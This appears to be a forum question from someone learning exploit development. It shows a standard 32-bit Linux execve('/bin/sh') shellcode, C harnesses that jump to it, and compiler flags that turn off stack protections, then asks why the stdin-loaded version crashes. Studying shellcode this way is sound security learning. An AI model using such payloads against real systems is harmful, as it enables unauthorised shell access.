I am working on a basic shellcode that will spawn a shell after getting called in a 32-bit program. Here is the shellcode i'm using:
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
(Source: http://shell-storm.org/shellcode/files/shellcode-827.php)
I am successfully using this shellcode when i hardcode it inside the exploited program:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
But when i try to read the shellcode from the standard input, i get a segmentation fault instead. This is the program used:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
When i debug this program with gdb, i can see that everything goes as planned until this instruction:
int $0x80
Where the program doesn't do anything and continue to the next instruction like nothing happened, which make the program crash.
At first i thought this was because i didn't disabled some execution prevention, but i'm compiling with the following flags:
gcc shell.c -o shell -fno-stack-protector -m32 -z execstack
I could really use help on it, I've been stuck on it all day.